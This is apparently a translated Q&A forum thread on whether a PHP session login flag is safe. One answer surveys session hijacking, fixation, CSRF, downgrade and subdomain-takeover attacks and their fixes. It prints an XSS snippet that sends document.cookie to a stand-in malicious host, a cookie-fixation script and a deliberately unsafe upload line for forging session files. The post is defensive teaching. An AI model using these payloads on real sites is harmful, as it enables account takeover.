Is PHP Login Safe?

Asked

Viewed 1,745 times

5

I am doing the login screen, where when successfully logging in, is stored a value in $_SESSION['login'].

Administrative options will be open only if this session exists.

My question, is it safe? If not, what is the right way to do it?

Thank you.

  • There are actually no security issues when determining a login value in Session. Try your settings, classes and look for PDO.

  • 1

    This should be some duplicate. "Safe" is very comprehensive. For example I can say that it is unsafe because if someone gets the value of the cookie PHPSESSID, it will have access to your account, without doing with any login. Hence the other question, how can he do that, what the possibility of that, how can he literally avoid it... If anyone has access to the folder /tmp/, which is where the files are saved, in the default mode, you can access the content and edit the values.... There are several ways to consider the unsecured session method.

  • @Rafaelrotiroti disagree, the security issue is not a problem in the API but rather how to use, ie there may be no problem how it can exist, depends on how the programmer used.

1 answer

13

There are several possible attacks with the sessions, I will only consider the standard PHP sessions and with few variations.

The PHP session system is very simple, it saves a file in the folder /tmp/ with the session name. When you enter the page you receive a cookie PHPSESSID=123 and it creates a file sess_123. So when the customer accesses the site he searches for the file sess_{Valor Do Cookie}.


Summary:

  1. The client has extensions, plugins, malicious software installed that can obtain cookies directly. Another customer situation accessed a page on your site that was injected with malicious code or injected a code into the console itself to do so.

  2. Connection is being monitored/intercepted by a third party or connection was pointed to a server outside your control.

  3. The server is generating predictable sessions, the value of the PHPSESSID is generated in an unsafe manner allowing someone to know the next value or is not random. Another point is if someone gets access to the files on /tmp/.


Now you need to know what "insignificant" is. For example, if someone gets access to the server’s SSH they will have to change the session files, that’s obvious. However, it will probably also be able to read/change other files, more important, which makes the problem of the sessions insignificant this situation.

However consider that you do something like:

rename($_FILES["UPLOAD"]["tmp_name"], '../tmp/' .  basename(realpath($_POST['NOME'])));

It’s the same thing, you allow someone to change the temporary folder files. If someone sends a file containing login|i:10; and as a name define sess_abc. Then just change the cookie to abc and this would make PHP read the session containing the $_SESSION['login'] with value of 10.

It is impossible for me to say "it is unsafe" or "it is safe" based only on a line of code, that line is part of a whole set, which can be completely broken.


Main problems:

Client:

Cookie theft via XSS and Self-xss:

If you do not handle text output (using htmlentities for example), it is possible for someone to send a text containing:

<script>$.post('http://site-do-mal.com', { cookie: document.cookie } );</script>

This will cause when the person accesses the page will send a request to a malicious person who will get the user’s cookies.

Correction:

  1. Always use htmlentities (or equivalent) correctly in the output of the text.
  2. Add the flag HTTP-Only in the cookie:

     session.cookie_httponly = 1
    
  3. Add the header of X-XSS-Protection.
  4. Add the header of Content-Security-Policy (CSP).

If you’re using any version still supported (PHP 5.6, 7.0, and 7.1) session.use_only_cookies is enabled by default, if you are not using these versions I believe that security is not a priority.

Cookie setting via XSS and the like:

Some sites often only use cookies for some parts of the site and this allows someone to make one Session Fixation easier. For example, the attacker enters your site normally and receives a cookie PHPSESSID=DEADBEEFFEED, nothing wrong so far. Then he passes the victim the cookie DEADBEEFFEED, for example using an XSS vulnerability:

<script>document.cookie = "PHPSESSID=DEADBEEFFEED";</script>

When the user will sign in to /login the website will understand that this cookie has already been created (because the attacker entered the page and received this cookie, so it was legitimately created). The victim logs in and then the attacker will be able to access the user’s account, because he already knows which cookie the victim used.

Correction:

  1. Limit cookies per IP:

     if($_SESSION['Seguranca']['IP'] !== $_SERVER['REMOTE_ADDR']){
         mata_esse_cookie_que_deu_ruim();
     }
    

In this case when the attacker generates the IP will be recorded that it generated, when the victim access the IP will not be in the same IP. Although it is possible to cheat the REMOTE_ADDR cannot receive the reply of the request.

This can be bad for the user, especially on mobile internet or using TOR. This does not protect if the victim and the attacker are using the same IP, for example if they are using public Wi-Fi or due to CGNAT.

  1. Create cookie rotations:

     if ($_SESSION['Seguranca']['Tempo'] < time() - 300) {
       session_regenerate_id(true);
       $_SESSION['Seguranca']['Tempo'] = time();
     }
    

This will give the attacker little time to be able to use the cookie, because it will change every 5 minutes and the old one will no longer work.

Use of cookie via CSRF:

In most cases it is not possible to obtain the sessions used by the user, but some website may be able to send a request to your site using the user’s cookies. This would allow the other site to run actions that were not authorized by the user. To make my Jabá, the portal "E-cidadnia" was vulnerable to it, has now been corrected.

Correction:

  1. Add a CSRF-Token safe and safely compare.
  2. Add the flag Same-site cookie, not natively supported.

Malware and the like:

I believe it’s insignificant, it’s out of your hands.

Trust in Unsecured CA:

Sometimes users may be using an outdated browser or operating system that still considers some certificate issuing authorities to be safe. Github itself notified that Wosign issued a certificate for their domain, which they did not do, this is explained here.

Although it is difficult in these cases, it is possible that someone can issue a certificate and divert the client to such server, no "invalid certificate" will be shown and this can obtain the cookies of the users.

Correction:

  1. Add the header of public-key-pins (HPKP).

Communicating:

HTTP/Plain text:

If you use HTTP (not HTTPS) your website may be considered unsafe by default. All data transmitted is in plain text and anyone can obtain the cookie headers.

Correction:

  1. Use HTTPS.

Downgrade to HTTP:

Many people tend to think that "redirecting to HTTPS" is safe. If you redirect means that the request has already been sent using HTTP. If the user enters http://site.com and then you redirect to https://site.com cookies have already been sent on the first request.

Correction:

  1. Add the header of Strict-Transport-Security (STS).
  2. Add the flag Secure in the cookie: Session.cookie_secure = 1

DNS abandoned:

It is common that some services will be perceived, adding for example ajuda.site.com aimed at a Zendesk or a promocao.site.com pointed to a Monkey Survey. After a while you decide to cancel such a subdomain, but it is still pointed at the DNS.

This allows someone to register with Zendesk, for example, and say that they own ajuda.site.com and as it is pointed out correctly it will be able to allow the user to have control of the domain and therefore such person will be able to obtain the session cookies.

Correction:

  1. Remove the DNS pointed into the hereafter.
  2. Restrict cookies to just one domain:

     session.cookie_domain = "www.site.com"
    

Mitm in general:

I believe the above fixes also solve test problem in general cases. If someone is acting as a "proxy" on the network and seeing all the traffic it is important that such person cannot get the information from cookies, otherwise they can access someone else’s account.

Correction:

  1. Use HTTPS.
  2. Add the STS header.
  3. Add the HPKP header.
  4. Add DNSSEC to the domain.

Server:

Unsafe number generator:

This is a complicated case because the solution depends on the version (<= PHP 7.0 or >= PHP 7.1) and also depends on the environment it is in. However, if you use a non-secure number generator you may cause cookies to be generated in a predictable way, for example if you use a mt_rand() to generate the value of PHPSESSID you can be sure that after N values it will repeat in the same order, so we already know what the next value is. PHP by default uses the /dev/random that some do not consider as safe due to the need to re-seed it may end up getting more predictable than the /dev/urandom or it just might stop working.

Fix <= PHP 7.0:

session.entropy_length = 48
session.entropy_file = /dev/urandom
session.hash_function = sha256
session.hash_bits_per_character = 5

You will have 48 bytes of a minimally safer generator and use the SHA256, which has greater variation than MD5, used by default. Unfortunately no support for Blake2.

Fix >= PHP 7.1:

session.sid_length = 48
session.sid_bits_per_character=5

This version already uses a CSPRNG. But PHP prefers "compatibility" over security, so it preferred to keep it at 32 bytes or 48 bytes which is safer for general cases. The larger such number the more difficult to collide.

Prevent access to folder /tmp:

As an example mentioned above, do not allow anyone to change the folder where sessions are stored. In general cases when this problem exists your problems are much bigger, so I believe it is insignificant in most cases, just take great care with uploads, reading, file edits.

Unsafe environment and the like:

If your server, from the operating system to the PHP version is outdated or is shared with several other websites of various types, this logically can make the sessions more insecure, but again this does not affect only the session systems.


Use the name of PHPSESSID and /tmp/ for being standard, but both can be modified in PHP. There is no way to list all types of attacks, for two reasons, the first that would be extremely long and the second that I am not competent enough to know of all the attacks that exist.

Attacks Always get Better; they Never get Worse.

  • As always more than exemplary !!! + 1

  • I find it excellent to create such a detailed answer, I find it boring to answer repetitive things and spread the content in various places, of course close as dup help, but it’s one or two users to close against 10 users answering things that have already been asked at least once. I am not critical the answer, I think it was great, but using the closing vote is the minimum that is expected of ALL participants. I’ve hit this "same" button a dozen times, but I don’t know what happens to the community, it discourages.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.